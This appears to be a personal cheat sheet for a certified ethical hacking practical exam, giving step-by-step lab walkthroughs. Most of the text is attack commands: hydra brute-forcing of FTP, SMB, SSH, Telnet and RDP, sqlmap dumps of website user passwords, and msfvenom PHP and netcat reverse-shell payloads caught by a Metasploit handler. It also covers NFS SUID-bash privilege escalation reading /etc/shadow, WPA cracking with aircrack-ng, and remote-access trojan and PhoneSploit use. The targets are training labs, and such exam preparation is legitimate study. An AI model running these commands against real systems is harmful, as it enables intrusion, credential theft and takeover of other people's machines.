find . -name <file name.txt -> This will give the path to the file
cat given path /file name.txt -> This will give you the component of the file e.g. DT4345$#@,JH8754@!
vertical privilege escalation
nmap -sV -p 22 <IP/24>. This will live the live host with port 22 open with the OS and now see open port ip address and note down the details .Now connect to SSH using -> ssh <username>@<IP> and press enter. For password use the given <password>Sudo -l -> to get the commands that can be run.Type sudo -i to get root. Then cd /
find . -name <file name.txt> -> This will give the path to the file
cat givenpath/<file name.txt> -> This will give you the component of the file
Hydra

FTP
Nmap -p 21 <subnet IP>
Sudo nmap -sS -A -T4 ip/24
hydra -L user.txt -P pass.txt ftp://<IP>
ftp <IP> and type user name and password login
Ls and search for the <file name.txt> file using find . -name <file name.txt>
cat <file name> to get its content

SMB service.
Scan the entire subnet for open smb ports. You can use the wordlist available on the desktop on Parrot os. Use Hydra to crack it. The password for the encoded file is the same. If the file contains a hash, try to decode it. sudo nmap -T4 -sS -p 139,445 - -script vuln <IP/24>. hydra -L <path to the wordlist of usernames.txt> -P <path to the password wordlist.txt> <IP> smb
smbclient //<IP>/<share> -U <user> -p<port>
-U [name] : to specify the user
-p [port] : to specify the port
smbclient -L <IP>. type password and ls. get file.txt ~/Desktop/falg2.txt or more file.txt. cat falg2.txt.

SMB service
Scan the entire subnet for open smb ports. You can use the wordlist available on the desktop on Parrot os. Use Hydra to crack it. The password for the encoded file is the same. If the file contains a hash, try to decode it.
sudo nmap -T4 -Ss -p 139,445 - -script vuln <IP/24>
hydra-l <username> -P /home/passlist.txt <IP> smb
smbclient //IP/share
smbclient -L IP
type password and ls
get sniff.txt ~/Desktop/falg2.txt or more sniff.txt
cat falg2.txt
now encrypt the text using the same henry login password in bctextencoder.exe manual open

**Steganography**
Snow.
Locate the file in Windows machine. Open CMD in the located folder by typing CMD in the address bar. Use CMD in Windows machine. To Display Hidden Data type snow -C -p "<password>" <filename>.txt
Use the given 2nd machine and access the file on the given location. Open the restricted file. A Hash will be given. Use Crackstation or hashes to break the hash

**Openstego**
openstego tool in 2019 or use stegonline for online
after opening Openstego, select the extract option. Select the path of the file to upload the file into it. Give path to the output file. Then type password -> "imagination"
Now extract the data
Open the extracted file to get the flag
type the flag

ADB
ENT
sudo nmap -p 5555 192.168.0.0/24
adb connect 192.168.0.14:5555
adb shell
ls and cd sdcard and ls and pwd
adb pull /sdcard/scan/ or adb pull /sdcard/scan attacker/home/
ls and cd scan and ls
ent -h or apt install ent
ent evil.elf
ent evil2.elf
ent evil3.elf
sha384sum evil.elf -> This gives the hash
then you get one hash value type last 4 characters.

**ADB Connect.**
sudo nmap -p 5555 <IP> To check the open port for adb. adb connect IP:5555 To connect to the device through adb. adb shell. ls and cd sdcard and ls and pwd. find /sdcard/ -name ".jpg" -o -name ".png". adb pull /sdcard/scan/ or adb pull </path to the image file/ >. openstego tool or steghide in 2019 or use stegonline for online. after opening Openstego, select the extract option. Select the path of the file to upload the file into it. Give path to the output file. OR steghide extract -sf 12.png for steghide. Open the extracted file to get the flag.
type cd PhoneSploit and press Enter. Type python3 -m pip install colorama and press Enter to install the dependency. type python3 phonesploit.py and press Enter to run the tool. Type 3 and press Enter to select [3] Connect a new phone option.
SQL Injection
SQL injection
now in parrot os, open firefox and login into the website given and details.
Go to profile and and right cleck and inspect and console type "document.cookie" you will get one value.
Open the terminal and type the below commands to get the password of other user.
sqlmap -u "http://www.moviescope.com/viewprofile.aspx?id=1" --cookie="mscope=1jwuydl=;" –-dbs
sqlmap -u "http://www.moviescope.com/viewprofile.aspx?id=1" --cookie="mscope=1jwuydl=; ui-tabs-1=0" -D moveiscope – -tables
sqlmap -u "http://www.moviescope.com/viewprofile.aspx?id=1" --cookie="mscope=1jwuydl=; ui-tabs-1=0" -D moviescope -T user-Login – -dump

You will get all the Useraname and Passwords of the website.
msfconsole
Scan the target with Zapp to find the vulnerability. Then exploit it. It can be file upload/ File inclusion vulnerability on DVWA.
msfconsole in one tab next in new tab
msfvenom -p php/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f raw >exploit.php
use exploit/multi/handler or use 30
set payload php/meterpreter/reverse_tcp
Set LHOST ipadd
Upload a file you created as exploit.php
Open terminal and type run once you get url type url in brower you get meterpreter session then type ls get the files.
SQL injection
Go to blog page in given website cybersec.cehorg.com .
Copy the url with parameter id.
And go to JSQL injection tool in parrot os.
Then past the url and click attack you will get all databases.
Now search the flag database copy the flag and paste
SQL injection .
Login to the given website. Go to view profile. Then inspect the view source. In the console type document.cookie and copy it. Open mate terminal and type sudo su. Type è wapiti -u <url> -m sql è This Will give the vulnerable parameter. Type è sqlmap -u <Vulnerable url> --dbs è This Will give the names of the databases. sqlmap -u <Vulnerable url> -D <database name> --tables è This Will give the names of the tables. Type è sqlmap -u <Vulnerable url> -D <database name> -T <table name> --columns è This Will list the information aboult the columns in the selected table. Type è sqlmap -u <Vulnerable url> -D <database name> -T <table name> -C <columna name> --dump è This Will Display/dump the data from the columns.
or sqlmap -u "url" --crawl=3 --level=5 --risk=3 --dbs. sqlmap -u "url" --crawl=3 --level=5 --risk=3 -D database_name --tables. sqlmap -u "url" --crawl=3 --level=5 --risk=3 -D database_name -T table_name --columns. sqlmap -u "http://192.168.44.40" --crawl=3 --level=5 --risk=3 -D database_name -T table_name -C Flag --dump
SQL injection.
now in parrot os, open firefox and login into the website given and details. Go to profile and and right cleck and inspect and console type “document.cookie” you will get the cookie and copy it. Open the terminal and type the below commands to get the password of other user. sqlmap -u <"url"> --cookie=<"cookie as copied from step 2"> –-dbs. sqlmap -u <"url"> --cookie=<"cookie"> -D <database name> – -tables. sqlmap -u <"url"> --cookie=<"cookie"> -D <database name> -T table name> – -dump. You will get all the Useraname and Passwords of the website.
Wireshark
attacking IP
Go to statistics IPv4 addresses--> Source and Destination ---> Then you can apply the filter given
flags.syn == 1 and tcp.flags.ack == 0

you can find the high number of packets send to10.10.1.10 address and that answer.
IoT Publish Message
Open IOT capture file in wireshark. Filter; MQTT and find length of the packet in the lower pane.
Open in wireshark and apply the filter as mqtt and see the public message and then go to down panel open and see the message.
IPv4 packet.
Open wireshark and load the file. Go to statistics IPv4 statistics--> Source and Destination ---> Then you can apply the filter given. flags.syn == 1 and tcp.flags.ack == 0. you can find the least number of packets send to the IP address.
or
Load the file in wireshark. Type the filter in the filter bar ip.dst == IP and press enter. Go to statistics and then in conversion and then IPv4 tab. Click on the packets colum to sort conversations by packet count. Look through the list to find the conversation with least packet sent to the IP.
IoT Publish Message.
Open IOT capture file in wireshark.
Filter; MQTT (mqtt.msgtype == 3) and find length of the packet in the lower pane.
Open in wireshark and apply the filter as mqtt and see the public message and then go to down panel open and see the message length.
Wifi Attacks
aircrack-ng
aircrack-ng '/home/wireless.cap'
aircrack-ng -b 6c:24:a6:3e:01:59 -w '/home/wifipass.txt' '/home/wireless.cap'
now you get password as key found [password1]
aircrack-ng.
Open the pcap file in wireshark to get the bssid or aircrack-ng file.pcap this will give the bssid. Copy the bssid. aircrack-ng -b <bssid from wireshark> -w <path to word list> <path to pcap file>. This will give the password. Count the digits in the password.
Cryptography

DVWA
Open the url given and login with given details. Task-8
After login http://172.20.0.16/DWVA/hackable/uploads/
They you see files open it and copy the hash value go to the hashes.com/en/decrypt/hash. Or try below.
hash-identifier paste the text and see the type of hash and then hashcat -h | grep MD5
hashcat -m 0 hash.txt /Desktop/word list/urser.txt

VeraCrypt
Use veracrypt to decrypt the volume.
Check password is in one system and file is in one system.
Decrypt the has using the hash.com and now you get password.
Open veracrypt and upload the file and give password and open the file see the text

VeraCrypt. .
Use hashes.com to decrypt the hash for Hash2crack.txt file or “hashcat -a 0 -m <hash type> <hash file> <wordlist>” or John the reaper to crack the hash e.g. john --format=Raw-MD5 --wordlist=rockyou.txt Hash2crack.txt. You’ll get the password. Decrypt the volume using Veracrypt. Upload the file in Veracrypt, type in the password and open the file EC_data.txt.
DVWA.
Open the URL. Login with the credentials admin/password. Reduce the security level to lowest. It’ll be lower side of the page. After login navigate to the required address. We Will get the list of file. Then type ping | type "C:\wamp64\www\DVWA\ECweb\Certified\file names.txt" Like this check all the available files. Look for presence of random stuff in the file. That Will be the required file. Copy and save the content in a file in notepad. We can use base64 -d <File> to decode the file in terminal or cat filename.txt | base64 --decode > decoded.txt or online sites to decode it.
RDP
RDP
In the mate terminal type Sudo nmap -p 3389 <IP/24> è This Will give the IP of the machine with RDP port open. hydra-l <username> -P </path to password wordlist.txt> <IP> RDP. We Will get the password for the given username. We can use **“Remmina” or “rdesktop” or “xfreerdp”**in the mate terminal to connect with the machine throught RDP. Rdesktop <IP>, then press enter or rdesktop -u username -p password host:port. Use the credentials to enter the machine. Better use Remmina. Sudo apt install reminna. Then type remmina to open Remmina. Log in using credentials. Locate the image file “file.cfe (Open the file and give the same password from Hydra, put that file in hash calc in the compromised windows machine ea)There will be a locked icon on the file. Just double click it. Use SSH top u file to the system. Use ftp to get the file into local system. ftp <IP>. use credentials obtained from hydra. get <file name> in ftp. Decrypt it using hashcat or john repaer. Generate the crc32 value of the image file in terminal using crc32 <file name>
Malware Analysis
Trojans
Analyze ELF Executable File using Detect It Easy (DIE)
Scan all ports with nmap (-p-). Look for the unknown ports. Use theef RAT to connect to it.
main ports check 9871,6703
nmap -p 9871,6703 192.168.0.0/24
now you get open port ip address
now go to the c drive malware/trojans/rat/theef and run the client.exe file
now entry the ip of open port and click connect and click on file explorer and find the sa_code.txt.
or search file in cmd using command à dir /b/s “sa_code*” it shows the path.
DIE.
Open DIE and load the executable. load the file. click on hash. select the required hash. get the PTLoad size.
THIEF RAT .

scan the subnet for live host. nmap -sV -A <IP/24> - p 6703. Open Thief Rat. connect to the given IP. use the file manager in thief rat GUI to nevigate to the required location. Count the number of files in that location.
Web Exploitation
SQLmap, burp suite
nmap -sV --script=http-enum [target domain or IP address]
Find any input parameter on website and capture the request in burp and then use it to perform sql injection using sqlmap.
Now open the burp and check the input parameters and intercept on then type some as "1 OR ANY TEXT" you get some value on burp copy that and create the txt file.(1 OR 1=1 #)
sqlmap -r <txt file from burpsuite> --dbs
sqlmap -r <txt file from burpsuite> -D <database name> --tables
sqlmap -r <txt file from burpsuite> -D <database name> -T <table name> --columns
sqlmap -r <txt file from burpsuite> -D <database name> -T <table name> --dump-all
then login and do the url parameter change page_id=1 to page_id=84

Web app.
Log in to the website with the credentials. Click on view profile. In the address bar this will display the id parameters. Directly change the Id parameter to the required using IDOR.
OR
OPen the given url. view page source . find the flag directly using ctrl+f and match it with the given format
metasploit.
Scan the target with Zapp to find the vulnerability. Then exploit it. It can be file upload/ File inclusion vulnerability on DVWA. msfconsole in one tab next in new tab. msfvenom -p php/meterpreter/reverse_tcp LHOST=<IP of Parrot>.1 LPORT=4444 -f raw . exploit.php >use exploit/multi/handler or use 30. >set payload php/meterpreter/reverse_tcp. Set LHOST ipadd.Upload a file you created as exploit.php. Open terminal and type run once you get url type url in brower you get meterpreter session then type ls get the files. Or c.com/flag.txt è Will give the flag
OR
Go to the given IP in the web browser to confirm a Drupal site. In the mate terminal launch metasploit by typing. Search drupalgeddon2. load the rquired module. set options. the exploit. This will give the meterpreter session. Type shell. This will give the shell access. locate the required file using find / -name filename.txt 2>dev/null. Read the file content by cat /filepath/filename.txt. This will give value.
Remote Login
SSH
Use Hydra to break the password Telnet, login and access the file, and enter the flag.
Exploit a Remote Command Execution Vulnerability to Compromise a Target Web Server

Nmap -p 22,23,80,3389 192.168.0.0/24
sudo nmap -sS -sV -p- -O ipadd
telnet 192.168.0.19 80 and GET / HTTP/1.0
hydra -L user.txt -P pass.txt 192.168.0.1 ssh
hydra -L /root/Desktop/user.txt -P /root/Desktop/pass.txt 192.168.1.106 telnet
ssh ubuntu@192.168.0.1
telnet 192.168.0.1
msfvenom -p cmd/unix/reverse_netcat LHOST=ip LPORT=4444 and copy the path
go to target machine after login paste now find . -name flag.txt
start listen nc -lvp 4444
password type
ls
find . -name NetworkPass.txt
cat /path/NetworkPass.txt

NFS.
Scan the subnet for Linux host. Perform aggresive scan for the found IP. Look for the vulnerabilities and search for that in Metsploit and load it to exploit OR
Scan for port no 2049 for NFS. nmap -p 2049 10.10.10.0/24. showmount -e 10.10.10.20 ⇒ Gives output in the form of /home* i.e. we can access everything in this home directory. Then type sudo mount 10.10.20.10 /home* /tmp/nfs. Then cd /tm/nfs. Then ls. This will give the file required. cat file.txt.
Attacking nfs shares
Parrot Security machine and launch a terminal window.
nmap -sV 10.10.1.9
port 2049 is open and nfs service
sudo apt-get install nfs-common and press Enter.
showmount -e 10.10.1.9 and press Enter, to check if any share is available for mount in the target machine.
mkdir /tmp/nfs and press Enter to create nfs directory.
sudo mount -t nfs 10.10.1.9:/home /tmp/nfs in the terminal and press Enter to mount the nfs directory on the target machine.
cd /tmp/nfs and press Enter to navigate to nfs folder.
sudo cp /bin/bash . in the terminal and press Enter.
sudo chmod +s bash and press Enter.
ls -la bash and press Enter.

To get the amount of free disk available type sudo df -h and press Enter.
ssh -l ubuntu 10.10.1.9 and press Enter.
ubuntu@10.10.1.9's password field enter toor and press Enter.
cd /home and press Enter.
ls and press Enter, to list the contents of the home directory.
./bash -p, to run bash in the target machine.
id and press Enter to get the id's of users.
Now type whoami and press Enter to check for root access.
cp /bin/nano . and press Enter.
ls -la nano and press Enter.

cd /home and press Enter. Now, type ls and press Enter to list the contents in home directory.
type ./nano -p /etc/shadow and press Enter.
Type find / -name "*.txt" -ls 2> /dev/null and press Enter to view all the .txt files on the system

How to scan network
nmap -T4 -A 192.168.x.x/2x

nmap -T4 -A -p 80,443 192.168.x.x/2x

Look out for telnet or ssh and bruteforce it
hydra -L username_file -P password_file TARGET_IP telnet
or
hydra -L username_file -P password_file TARGET_IP ssh

Login to the identified service and search for the file

A forensics investigator has confiscated a computer from a suspect in a data leakage case. He found an image file, MyTrip.jpg, stored in the Documents folder of the "EH Workstation-2" machine. He suspects that some confidential data is hidden in the image file. Analyze the image file and extract the sensitive data, an eight-character alpha-numeric string, as the answer. Use "Imagination" if you are stuck.

Analyze the image file and extract the sensitive data hidden in the file
Use OpenStego on Windows
Select Extract Data
Upload file and select path of destination
Use any pointer from the question as keyword where applicable
Click to Extract Data

Exploit weak credentials used for ftp service on a windows machine in the 192.168.0.0/24 subnet. Obtain the file, Credential.txt, hosted on the ftp root, and enter its content as the answer.

Answer:

Identify FTP Service:
nmap -p 21 192.x.x.0/24

Exploit Weak Credentials:

Use a tool like hydra or medusa to perform a brute-force attack on the FTP service using a wordlist.
hydra -L username_file -P password_file 192.168.0.x ftp
Replace <username> with the FTP username and <passwords.txt> with a file containing a list of
possible passwords.

Connect to FTP Server:
Once you have valid credentials, connect to the FTP server using an FTP client.
ftp 192.168.0.x
Retrieve file:
get file
View Content:
cat file

During an assignment, an incident responder has retained a suspicious executable file "die-another day". Your task as a malware analyst is to find the executable's Entry point (Address). The file is in the C:\Users\Admin\Documents directory in the "EH Workstation - 2" machines.

Identify malware entry point address
PEiD](https://softfamous.com/peid/) (suggested)

* If tool is not alreay on system, Download PEiF tool ->
[https://softfamous.com/peid/](https://softfamous.com/peid/)
* Execute PEiD tool
* Upload malware executable
* See entry point address

PEView**

* If tool is not alreay on system, Download PEView tool
* Execute tool
* Upload malware executable
* Look for the "Optional Header" section within the PEView interface.
In this section, you should find the "AddressOfEntryPoint" field,
which represents the entry point of the executable. Note the hexadecimal value displayed in the
"AddressOfEntryPoint" field. This is the entry point address of the executable.

#### Detect it easy

* Execute Detect it easy client tool
* Upload malware executable
* Click to File info
* See entry point address

You are investigating a massive DDOS attack launched against a target at 10.10.1.10. Identify the attacking IP address that sent most packets to the victim

machine. The network capture file "attack-traffic.pcapng" is saved in the Documents folder of the "EH Workstation - 1" (ParrotSecurity) machine.

Answer:
**To find DOS (SYN and ACK) :*
open file with wireshark
* statistic -> IPv4 statistics -> source and destination address
* filter using: `tcp.flags.syn == 1`
or
`tcp.flags.syn == 1 and tcp.flags.ack == 0`
or
filter to highest number of request

Perform an SQL injection attack on your target web application cinema.cehorg.com and extract the password of a user Sarah. You have already registered on the website with credentials Karen/computer.

https://www.geeksforgeeks.org/use-sqlmap-test-website-sql-injection-vulnerability/

If we have a login account we can login or use sqli on the login page and go to profile.
There, we can use IDOR vulnerability (manipulating =id value on url) and seeing info regarding another user.

In alternative we can use SQLMap and the vulnerable url after login to dump user info.
Get all databases using sqlmap
sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 --dbs
Get tables from a selected database_name
sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D database_name --tables
Get all columns from a selected table_name in the database_name
sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D database_name -T table_name --columns
Dump the data from the columns
sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D database_name -T table_name -C column_name --dump

Perform vulnerability research and exploit the web application training.cehorg.com, available at 192.168.0.64. Locate the Flag.txt file and enter its content as the answer.

Directory traversal after dirsearch or gobuster or dirb or dirbuster
dirsearch -u https://example.com
or

dirsearch -e php,html,js,txt -u https://example.com -> for extension search
or
dirsearch -e php,html,js,txt -u https://example.com -w /usr/share/wordlists/dirb/common.txt -> for wordlist search

Perform SQL injection attack on a web application, cybersec.cehorg.com, available at 172.20.0.22. Find the value in the Flag column in one of the DB tables and enter it as the answer.

https://www.geeksforgeeks.org/use-sqlmap-test-website-sql-injection-vulnerability/

use SQLMap and a vulnerable url on the website to dump user info.
Get all databases using sqlmap
sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 --dbs
Get tables from a selected database_name
sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D database_name --tables
Get all columns from a selected table_name in the database_name
sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D database_name -T table_name --columns
Dump the data from the columns
sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D database_name -T table_name -C column_name --dump

A file named Hash.txt has been uploaded through DVWA (http:/172.20 0.16: B0B0/DVWA). The file is located in the "C:\wamp64\www\DVWA\hackable\uploads\" directory. Access the file and crack the MD5 hash to reveal the original message. Enter the decrypted message as the answer. You can log into the DVWA using the credentials admin/password.

The site is vulnerable to directory traversal and local file inclusion
Navigate to the location of the file and open it
copy the hash value and use either crackstation from the internet to crack it or https://hashes.com/en/decrypt/hash

Decrypt the Hash:

Open the Key2Secret.txt file located in the Documents folder on the "EH Workstation - 1 (ParrotSecurity)" machine.
Retrieve the hashed password from the file.

Choose a Hash Cracking Tool:

Select a hash cracking tool like John the Ripper, Hashcat, or another suitable tool for the hash algorithm used in the file.

Use the chosen hash cracking tool with the wordlist to attempt to crack the password hash.
For example, if using John the Ripper, you might run a command like:

john --format=raw-MD5 --wordlist=wordlist.txt Key2Secret.txt
Replace wordlist.txt with the actual path to your wordlist file.

Decrypt the Veracrypt Volume:
Once you have the plaintext password, open the Veracrypt volume "Secret" stored on the C: drive of the "EH Workstation - 2" machine.
Use the decrypted password to access the Veracrypt volume.

Locate the Confidential.txt File:
After mounting the Veracrypt volume, navigate to the appropriate location on the C: drive to find the "Confidential.txt" file.

Open the "Confidential.txt" file and retrieve the secret code contained within.